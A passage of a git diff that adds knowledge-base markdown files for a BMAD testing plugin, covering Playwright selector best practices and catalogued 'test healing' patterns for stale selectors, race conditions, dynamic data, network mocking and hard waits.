+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
